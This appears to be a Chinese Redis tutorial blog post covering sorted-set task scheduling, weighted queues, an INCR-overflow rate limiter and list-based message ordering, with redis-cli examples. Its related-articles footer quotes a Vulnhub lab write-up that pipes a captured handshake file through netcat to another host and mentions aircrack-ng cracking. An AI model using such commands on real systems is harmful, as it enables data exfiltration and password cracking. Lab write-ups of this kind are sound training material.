# Redis 入门到精通(一)数据类型(4)

Redis 入门到精通(一)数据类型(4)

一、redis 数据类型–sorted_set实现时效性任务管理

1、sorted_set 类型数据操作的注意事项

  • score 保存的数据存储空间是64位,如果是整数范围是-9007199254740992~9007199254740992。

  • score 保存的数据也可以是一个双精度的 double 值,基于双精度浮点数的特征,可能会丢失精度,使用时候要慎重。

  • sorted_set 底层存储还是基于 set 结构的,因此数据不能重复,如果重复添加相同的数据,score 值将被反复覆盖,保留最后一次修改的结果。

127.0.0.1:6379> zadd test1 11 aa
(integer) 1
127.0.0.1:6379> zrange test1 0 -1 withscores
1) "aa"
2) "11"
127.0.0.1:6379> zadd test1 22 aa
(integer) 0
127.0.0.1:6379> zrange test1 0 -1 withscores
1) "aa"
2) "22"
127.0.0.1:6379> zadd test1 33 aa
(integer) 0# 虽然返回失败,但是修改成功,保底最后一次的修改结果。
127.0.0.1:6379> zrange test1 0 -1 withscores
1) "aa"
2) "33"
127.0.0.1:6379>

2、sorted_set 类型应用场景–业务场景

基础服务+增值服务类网站会设定各位会员的试用,让用户充分体验会员优势。例如观影试用VIP、游戏VIP体验、云盘下载体验VIP、数据查看体验VIP。当VIP体验到期后,如果有效管理此类信息。即便对于正式VIP用户也存在对应的管理方式。

网站会定期开启投票、讨论,限时进行,逾期作废。如何有效管理此类过期信息。

3、sorted_set 类型应用场景–解决方案

  • 对于基于时间线限定的任务处理,将处理时间记录为 score 值,利用排序功能区分处理的先后顺序。

  • 记录下一个要处理的时间,当到期后处理对应任务,移除redis中的记录,并记录下一个要处理的时间

  • 当新任务加入时,判定并更新当前下一个要处理的任务时间。

  • 为提升 sorted set 的性能,通常将任务根据特征存储成若干个 sorted set。例如1小时内,1天内,周内月内,季内,年度等,操作时逐级提升,将即将操作的若干个任务纳入到1小时内处理的队列中。

  • 获取当前系统时间: time

4、redis 实际模拟操作–sorted_set 实现时效性任务管理

# 添加数据 
127.0.0.1:6379> zadd ts 1509802345 uid:001
(integer) 1
127.0.0.1:6379> zadd ts 1509802390 uid:007
(integer) 1
127.0.0.1:6379> zadd ts 1510384284 uid:888
(integer) 1# 有序排列
127.0.0.1:6379> zrange ts 0 -1 withscores
1) "uid:001"
2) "1509802345"
3) "uid:007"
4) "1509802390"
5) "uid:888"
6) "1510384284"# 获取当前时间
127.0.0.1:6379> time
1) "1720706679"
2) "248469"
127.0.0.1:6379> time
1) "1720706681"
2) "558810"
127.0.0.1:6379>

5、redis 应用场景:

1)redis 用于控制数据库表主键 id,为数据库表主键提供生成策略,保障数据库表的主键唯一性此方案适用于所有数据库,且支持数据库集群。

2)redis 控制数据的生命周期,通过数据是否失效控制业务行为,适用于所有具有时效性限定控制的操作。

3)redis 可应用于各种结构型和非结构型高热度数据访问加速。

4)redis 应用于购物车数据存储设计。

5)redis 应用于抢购,限购类、限量发放优惠卷、激活码等业务的数据存储设计。

6)redis 应用于具有操作先后顺序的数据控制。

7)redis 应用于最新消息展示。

8)redis 应用于随机推荐类信息检索,例如热点歌单推荐,热点新闻推荐,热卖旅游线路,应用APP推荐大V推荐等。

9)set 类型数据的扩展操作:

  • redis 应用于同类信息的关联搜索,二度关联搜索,深度关联搜索。
  • 显示共同关注(一度)。
  • 显示共同好友(一度)。
  • 由用户A出发,获取到好友用户B的好友信息列表(一度)。
  • 由用户A出发,获取到好友用户B的购物清单列表(二度)。
  • 由用户A出发,获取到好友用户B的游戏充值列表(二度)。

10)redis 应用于同类型不重复数据的合并操作。

11)redis 应用于同类型数据的快速去重。

12)redis 应用于基于黑名单与白名单设定的服务控制。

13)redis 应用于计数器组合排序功能对应的排名

14)redis 应用于定时任务执行顺序管理或任务过期管理

二、redis 数据类型-- sorted_set 带有权重的任务管理

1、sorted_set 类型应用场景–业务场景

任务/消息权重设定应用

当任务或者消息待处理,形成了任务队列或消息队列时,对于高优先级的任务要保障对其优先处理,如何实现任务权重管理。

2、sorted_set 类型应用场景–解决方案

  • 对于带有权重的任务,优先处理权重高的任务,采用 score 记录权重即可。
    多条件任务权重设定:
    如果权重条件过多时,需要对排序 score 值进行处理,保障 score 值能够兼容2条件或者多条件,例如外贸订单优先于国内订单,总裁订单优先于员工订单,经理订单优先于员工订单。

  • 因 score 长度受限,需要对数据进行截断处理,尤其是时间设置为小时或分钟级即可(折算后)。

  • 先设定订单类别,后设定订单发起角色类别,整体 score 长度必须是统一的,不足位补0。第一排序规则首位不得是0。

    • 例如外贸101,国内102,经理004,员工008
    • 员工下的外贸单score值为101008(优先)
    • 经理下的国内单score值为102004

3、redis 实际模拟操作–sorted_set 带有权重的任务管理

# 添加数据(任务按权重排序)
127.0.0.1:6379> zadd tasks 1 order:id:425
(integer) 1
127.0.0.1:6379> zadd tasks 9 order:id:345
(integer) 1
127.0.0.1:6379> zadd tasks 4 order:id:005
(integer) 1# 任务按权重排序显示
127.0.0.1:6379> zrevrange tasks 0 -1 withscores
1) "order:id:345"
2) "9"
3) "order:id:005"
4) "4"
5) "order:id:425"
6) "1"# 获取权重最高的任务
127.0.0.1:6379> zrevrange tasks 0 0
1) "order:id:345"# 移除权重最高的任务
127.0.0.1:6379> zrem tasks order:id:345
(integer) 1
127.0.0.1:6379> zrevrange tasks 0 -1 withscores
1) "order:id:005"
2) "4"
3) "order:id:425"
4) "1"
127.0.0.1:6379># 添加数据 
127.0.0.1:6379> zadd tt 102004 order:id:1
(integer) 1
127.0.0.1:6379> zadd tt 101008 order:id:2
(integer) 1# 反向排序
127.0.0.1:6379> zrevrange tt 0 -1 withscores
1) "order:id:1"
2) "102004"
3) "order:id:2"
4) "101008"# 正向排序
127.0.0.1:6379> zrange tt 0 -1
1) "order:id:2"
2) "order:id:1"
127.0.0.1:6379>

4、redis 应用场景:

1)redis 用于控制数据库表主键 id,为数据库表主键提供生成策略,保障数据库表的主键唯一性此方案适用于所有数据库,且支持数据库集群。

2)redis 控制数据的生命周期,通过数据是否失效控制业务行为,适用于所有具有时效性限定控制的操作。

3)redis 可应用于各种结构型和非结构型高热度数据访问加速。

4)redis 应用于购物车数据存储设计。

5)redis 应用于抢购,限购类、限量发放优惠卷、激活码等业务的数据存储设计。

6)redis 应用于具有操作先后顺序的数据控制。

7)redis 应用于最新消息展示。

8)redis 应用于随机推荐类信息检索,例如热点歌单推荐,热点新闻推荐,热卖旅游线路,应用APP推荐大V推荐等。

9)set 类型数据的扩展操作:

  • redis 应用于同类信息的关联搜索,二度关联搜索,深度关联搜索。
  • 显示共同关注(一度)。
  • 显示共同好友(一度)。
  • 由用户A出发,获取到好友用户B的好友信息列表(一度)。
  • 由用户A出发,获取到好友用户B的购物清单列表(二度)。
  • 由用户A出发,获取到好友用户B的游戏充值列表(二度)。

10)redis 应用于同类型不重复数据的合并操作。

11)redis 应用于同类型数据的快速去重。

12)redis 应用于基于黑名单与白名单设定的服务控制。

13)redis 应用于计数器组合排序功能对应的排名

14)redis 应用于定时任务执行顺序管理或任务过期管理

15)redis 应用于即时任务/消息队列执行管理

三、redis 数据类型-- 案例:按次结算的服务控制

1、数据类型实践案例–业务场景

人工智能领域的语义识别与自动对话将是未来服务业机器人应答呼叫体系中的重要技术,百度自研用户评价语义识别服务,免费开放给企业试用,同时训练百度自己的模型。现对试用用户的使用行为进行限速,限制每个用户每分钟最多发起10次调用

18-按次结算的服务控制-1.png

2、数据类型实践案例–解决方案

  • 设计计数器,记录调用次数,用于控制业务执行次数。以用户id作为 key,使用次数作为 value。
  • 在调用前获取次数,判断是否超过限定次数
    不超过次数的情况下,每次调用计数+1
    业务调用失败,计数-1
  • 为计数器设置生命周期为指定周期,例如1秒/分钟,自动清空周期内使用次数。

18-按次结算的服务控制-2.png

3、redis 实际模拟操作–案例:按次结算的服务控制

# 先获取值,看是否存在,不存在,设定为初始1
127.0.0.1:6379> get 415
(nil)# 设置 60秒内计数器开始计数(10次以内,超过10次,重新计数)
127.0.0.1:6379> setex 415 60 1
OK
127.0.0.1:6379> get 415
"1"
127.0.0.1:6379> incr 415
(integer) 2
127.0.0.1:6379> incr 415
(integer) 2# 超过60秒,清空重新开始
127.0.0.1:6379> get 415
(nil)
127.0.0.1:6379>

4、数据类型实践案例–解决方案改良

不要让每次都判断上限 10 次到了没有,让程序最后一次性判断到10次了没。

18-按次结算的服务控制-3.png

5、数据类型实践案例–解决方案改良

  • 取消最大值的判定,利用 incr 操作超过最大值抛出异常的形式替代每次判断是否大于最大值。
  • 判断是否为 nil
    如果是,设置为 Max-次数
    如果不是,计数+1
    业务调用失败,计数-1
  • 遇到异常即+操作超过上限,视为使用达到上限。

18-按次结算的服务控制-4.png

6、redis 实际模拟操作–案例:按次结算的服务控制改良

# 先获取值,看是否存在,不存在,设定为初始1
127.0.0.1:6379> get 415
(nil)# 设置 60秒内计数器开始计数(利用 incr 操作超过最大值)
127.0.0.1:6379> setex 415 60 9223372036854775797
OK
127.0.0.1:6379> get 415
"9223372036854775797"
127.0.0.1:6379> incr 415
(integer) 9223372036854775798
127.0.0.1:6379> incr 415
(integer) 9223372036854775799
127.0.0.1:6379> incr 415
(integer) 9223372036854775800
127.0.0.1:6379> incr 415
(integer) 9223372036854775801
127.0.0.1:6379> incr 415
(integer) 9223372036854775802
127.0.0.1:6379> incr 415
(integer) 9223372036854775803
127.0.0.1:6379> incr 415
(integer) 9223372036854775804
127.0.0.1:6379> incr 415
(integer) 9223372036854775805
127.0.0.1:6379> incr 415
(integer) 9223372036854775806
127.0.0.1:6379> incr 415
(integer) 9223372036854775807# 到达10次,抛出异常
127.0.0.1:6379> incr 415
(error) ERR increment or decrement would overflow
127.0.0.1:6379> incr 415
(error) ERR increment or decrement would overflow
127.0.0.1:6379>

7、redis 应用场景:

1)redis 用于控制数据库表主键 id,为数据库表主键提供生成策略,保障数据库表的主键唯一性此方案适用于所有数据库,且支持数据库集群。

2)redis 控制数据的生命周期,通过数据是否失效控制业务行为,适用于所有具有时效性限定控制的操作。

3)redis 可应用于各种结构型和非结构型高热度数据访问加速。

4)redis 应用于购物车数据存储设计。

5)redis 应用于抢购,限购类、限量发放优惠卷、激活码等业务的数据存储设计。

6)redis 应用于具有操作先后顺序的数据控制。

7)redis 应用于最新消息展示。

8)redis 应用于随机推荐类信息检索,例如热点歌单推荐,热点新闻推荐,热卖旅游线路,应用APP推荐大V推荐等。

9)set 类型数据的扩展操作:

  • redis 应用于同类信息的关联搜索,二度关联搜索,深度关联搜索。
  • 显示共同关注(一度)。
  • 显示共同好友(一度)。
  • 由用户A出发,获取到好友用户B的好友信息列表(一度)。
  • 由用户A出发,获取到好友用户B的购物清单列表(二度)。
  • 由用户A出发,获取到好友用户B的游戏充值列表(二度)。

10)redis 应用于同类型不重复数据的合并操作。

11)redis 应用于同类型数据的快速去重。

12)redis 应用于基于黑名单与白名单设定的服务控制。

13)redis 应用于计数器组合排序功能对应的排名。in

14)redis 应用于定时任务执行顺序管理或任务过期管理。

15)redis 应用于即时任务/消息队列执行管理。

16)redis 应用于限时按次结算的服务控制。

四、redis 数据类型-- 案例:微信接收消息顺序控制

1、数据类型实践案例–业务场景

使用微信的过程中,当微信接收消息后,会默认将最近接收的消息置顶,当多个好友及关注的订阅号同时发送消息时,该排序会不停的进行交替。同时还可以将重要的会话设置为置顶。一旦用户离线后,再次打开微信时,消息该按照什么样的顺序显示?

2、数据类型实践案例–业务分析:

19-微信接收消息顺序控制.png

3、数据类型实践案例–解决方案

  • 依赖 list 的数据具有顺序的特征对消息进行管理,将 list 结构作为栈使用。
  • 对置顶与普通会话分别创建独立的 list 分别管理。
  • 当某个 list 中接收到用户消息后,将消息发送方的 id 从 list 的一侧加入 list(此处设定左侧)。
  • 多个相同 id 发出的消息反复入栈会出现问题,在入栈之前无论是否具有当前 id 对应的消息,先删除对应 id 。
  • 推送消息时先推送置顶会话 list,再推送普通会话 list,推送完成的 list 清除所有数据。
  • 消息的数量,也就是微信用户对话数量采用计数器的思想另行记录,伴随 list 操作同步更新。

4、redis 实际模拟操作–案例:微信接收消息顺序控制

# 在接收方 100 对象中,先删除一次200,由于第一次没有200,删除肯定是失败的
127.0.0.1:6379> lrem 100 1 200
(integer) 0# 在接收方 100 对象中,放入消息200
127.0.0.1:6379> lpush 100 200
(integer) 1# 在接收方 100 对象中,先删除一次300,由于第一次没有300,删除肯定是失败的
127.0.0.1:6379> lrem 100 1 300
(integer) 0# 在接收方 100 对象中,放入消息300
127.0.0.1:6379> lpush 100 300
(integer) 2# 在接收方 100 对象中,先删除一次400,由于第一次没有400,删除肯定是失败的
127.0.0.1:6379> lrem 100 1 400
(integer) 0# 在接收方 100 对象中,放入消息400
127.0.0.1:6379> lpush 100 400
(integer) 3# 在接收方 100 对象中,先删除一次200,由于是第二次接收消息200,删除成功
127.0.0.1:6379> lrem 100 1 200
(integer) 1# 在接收方 100 对象中,放入消息200
127.0.0.1:6379> lpush 100 200
(integer) 3# 在接收方 100 对象中,先删除一次300,由于是第二次接收消息300,删除成功
127.0.0.1:6379> lrem 100 1 300
(integer) 1# 在接收方 100 对象中,放入消息300
127.0.0.1:6379> lpush 100 300
(integer) 3# 此时查询接收方100内的消息队列为:
127.0.0.1:6379> lrange 100 0 -1
1) "300"
2) "200"
3) "400"
127.0.0.1:6379>

5、redis 应用场景:

1)redis 用于控制数据库表主键 id,为数据库表主键提供生成策略,保障数据库表的主键唯一性此方案适用于所有数据库,且支持数据库集群。

2)redis 控制数据的生命周期,通过数据是否失效控制业务行为,适用于所有具有时效性限定控制的操作。

3)redis 可应用于各种结构型和非结构型高热度数据访问加速。

4)redis 应用于购物车数据存储设计。

5)redis 应用于抢购,限购类、限量发放优惠卷、激活码等业务的数据存储设计。

6)redis 应用于具有操作先后顺序的数据控制。

7)redis 应用于最新消息展示。

8)redis 应用于随机推荐类信息检索,例如热点歌单推荐,热点新闻推荐,热卖旅游线路,应用APP推荐大V推荐等。

9)set 类型数据的扩展操作:

  • redis 应用于同类信息的关联搜索,二度关联搜索,深度关联搜索。
  • 显示共同关注(一度)。
  • 显示共同好友(一度)。
  • 由用户A出发,获取到好友用户B的好友信息列表(一度)。
  • 由用户A出发,获取到好友用户B的购物清单列表(二度)。
  • 由用户A出发,获取到好友用户B的游戏充值列表(二度)。

10)redis 应用于同类型不重复数据的合并操作。

11)redis 应用于同类型数据的快速去重。

12)redis 应用于基于黑名单与白名单设定的服务控制。

13)redis 应用于计数器组合排序功能对应的排名。in

14)redis 应用于定时任务执行顺序管理或任务过期管理。

15)redis 应用于即时任务/消息队列执行管理。

16)redis 应用于限时按次结算的服务控制。

17)redis 应用于基于时间顺序的数据操作,而不关注具体时间。

上一节关联链接请点击:
# Redis 入门到精通(一)数据类型(3)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/871367.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT creator与VS2019 QT加载模块方法

QT creator与VS2019加载模块方法 QT creator,pro文件添加 VS2019 QT

酷克数据亮相第13届PostgreSQL中国技术大会,获数据库杰出贡献奖

7 月 12 日,第 13 届 PostgreSQL 中国技术大会在杭州盛大开幕。本次大会以“聚焦云端创新,汇聚智慧共享”为主题,邀请了国内外 PG 领域众多行业大咖、学术精英及技术专家,共同探讨数据库领域的发展趋势、技术创新和实践经验。酷克…

[Vulnhub] Tr0ll3 aircrack-ng+lynx

信息收集 IP AddressOpening Ports192.168.101.147TCP:22 $ ssh start192.168.101.147 用户:Start startTr0ll3:~$ find / -type f -perm 0777 2>/tmp/1 startTr0ll3:~$ cat /var/log/.dist-manage/wytshadow.cap | nc 192.168.101.128 10035 WIFI握手包 aircrack-ng 破…

记一次 .NET某上位视觉程序 离奇崩溃分析

一:背景 1. 讲故事 前段时间有位朋友找到我,说他们有一个崩溃的dump让我帮忙看下怎么回事,确实有太多的人在网上找各种故障分析最后联系到了我,还好我一直都是免费分析,不收取任何费用,造福社区。 话不多…

[译] Rust标准库有些特殊,让我们改它

本篇是对 RustConf 2023中的The standard library is special. Let’s change that.这一视频的翻译与整理, 过程中为符合中文惯用表达有适当删改, 版权归原作者所有. 今天我将讨论Rust的标准库,更具体地说,是关于标准库有何特殊之处,以及为什么我们应该改变这一点。首先声明一下…

大模型高效参数微调技术

文章目录 一、Fine-Tuning:微调二、Prompt-Tuning:提示调优2.1 工作原理2.2 PET (Pattern-Exploiting Training)2.3 Prompt-Tuning集成2.4 模板构建方式 三、Prefix Tuning:连续提示模板3.1 提出动机3.2 工作原理 四、P-Tuning V1/V24.1 P-Tu…

MQTT——Mosquitto使用(Linux订阅者+Win发布者)

前提:WSL(Ubuntu22)作为订阅者,本机Win10作为发布者。 1、Linux安装Mosquitto 命令行安装。 sudo apt-get install mosquitto 以上默认只安装了mosquitto的服务,不带测试客户端工具mosquitto_sub和mosquitto_pub。如…

楼栋管理助你打造智慧校园寝室新时代

在聚焦于智慧校园寝室管理的楼栋管理功能上,核心目标是实现对宿舍楼本身的高效、精细化运营。这一功能围绕楼栋信息维护、空间优化、安全监管等方面展开,旨在为学生创造一个安全、舒适的生活环境,同时提升管理效率。 楼栋管理功能首先建立在全…

Run LoongArch64 Alpine VM on x86_64

一、Build from source(build on x86_64) Obtain the latest libvirt, virt-manager, and qemu source code, compile and install them. 1.1 Build libvirt from source sudo apt-get update sudo apt-get install augeas-tools bash-completion debhelper-compat dh-apparm…

防火墙NAT实验(接上一个用认证实验)

目录 一、拓扑图 二、实验需求 三、实验步骤 需求1:办公区设备可以通过电信链路和移动链路上网(多对多的NAT,并且需要保留一个公网IP不能用来转换) 策略1:电信链路,多对多NAT,保留IP地址 测试策略1 策略2&#x…

2024年上半年信息系统项目管理师——综合知识真题题目及答案(第1批次)(4)

2024年上半年信息系统项目管理师 ——综合知识真题题目及答案(第1批次)(4) 第61题:The project manager should use (tool for the purpose to report on the work remaining for projects. A. cumulativ…

内容协商源码解析与自定义 MessageConverter

目录 内容协商 1、引入xml依赖 2、postman分别测试返回json和xml 3、开启浏览器参数方式内容协商功能 4、内容协商原理 5、自定义 MessageConverter 综上 内容协商 根据客户端接收能力不同,返回不同媒体类型的数据。 若客户端无法解析服务端返回的内容&#…

keil5新建stm32工程的基本

1、建立工程文件夹,keil中新建工程,选择型号; 2、工程文件夹里建立自己所需要的文件夹等,复制固件库里面的文件到工程文件夹里; 3、将工程里建立对应的同名的分组,并将文件夹内的文件添加到工程分组中。 点…

Windows11终端winget配置

一、工具安装 Windows11是自带该工具的,如果wind10,可以找应用商店和GitHub上进行下载。 安装地址使用 winget 工具安装和管理应用程序 | Microsoft Learn 发布地址 Releases microsoft/terminal GitHub 二、无法使用问题排错 在命令行界面出现以…

CDN技术

CDN 假设你做了一个系统,要存放用户的一些信息,一般会把这些数据存放到MySQL当中,假设系统中有一些商品信息也是存放在MySQL中,慢慢的你的系统一天系统用户原来越多,查看商品的用户越来越多导致系统的响应速度越来越慢…

Real User ID 和 Effective User ID 的区别

在 Unix 和 Linux 系统中,每个进程都有多个用户标识符(UID),其中最重要的是“真实用户 ID”(real UID)和“有效用户 ID”(effective UID)。 它们的区别和用途如下: 真实…

linux nethogs网络监控程序(端口监控、流量监控、上传流量、下载流量、进程监控进程网络)

文章目录 Nethogs 网络监控程序详解1. 引言2. Nethogs 的安装与运行2.1 安装 Nethogs- **Debian/Ubuntu**- **Fedora**- **Arch Linux** 2.2 运行 Nethogs 3. Nethogs 的使用详解3.1 基本界面- **PID**:进程的 ID。- **用户**:运行该进程的用户。- **程序…

注意力机制篇 | YOLOv8改进之在C2f模块引入Global Context注意力模块 | 全局上下文注意力机制

前言:Hello大家好,我是小哥谈。GCNet(Global Context Network)是由XV Jiарui开发的一个开源项目,它旨在通过全局上下文信息增强网络的注意力机制,以改善模型对图像的理解和处理能力。它的核心思想是在每个残差块之后添加一个全局上下文模块(即本文的Global Context注意…

【Quart 框架——来源于Flask的强大且灵活的异步Web框架】

目录 前言一、Quart简介1-1、简介1-2、与flask的区别 二、快速开始2-1、安装2-2、基本用法 三、核心功能3-1、异步路由3-2、WebSockets 支持3-3、中间件3-4、蓝图 (Blueprints) 四、部署4-1、使用uvicorn部署4-2、使用hypercorn部署 五、案例分析总结 前言 Quart 是一个基于 Py…

【Python】爬虫实战01:获取豆瓣Top250电影信息

本文中我们将通过一个小练习的方式利用urllib和bs4来实操获取豆瓣 Top250 的电影信息,但在实际动手之前,我们需要先了解一些关于Http 请求和响应以及请求头作用的一些知识。 1. Http 请求与响应 HTTP(超文本传输协议)是互联网上…